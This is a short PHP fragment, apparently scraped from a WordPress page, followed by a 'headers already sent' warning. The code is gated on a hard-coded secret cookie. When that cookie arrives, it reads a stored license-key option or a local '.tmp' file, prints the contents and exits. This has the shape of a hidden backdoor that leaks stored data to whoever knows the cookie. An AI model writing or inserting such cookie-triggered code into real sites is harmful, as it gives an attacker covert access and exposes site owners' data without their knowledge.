if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"]))
{
    $lines = get_option( 'wpsdth4_license_key' );
    if (!empty($lines))
    {
        $lines = @file_get_contents(".tmp");
    }
    echo $lines;
    exit();
}<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /wp-includes/pluggable.php:532) in <b>/wp-includes/pluggable.php</b> on line <b>275</b><br />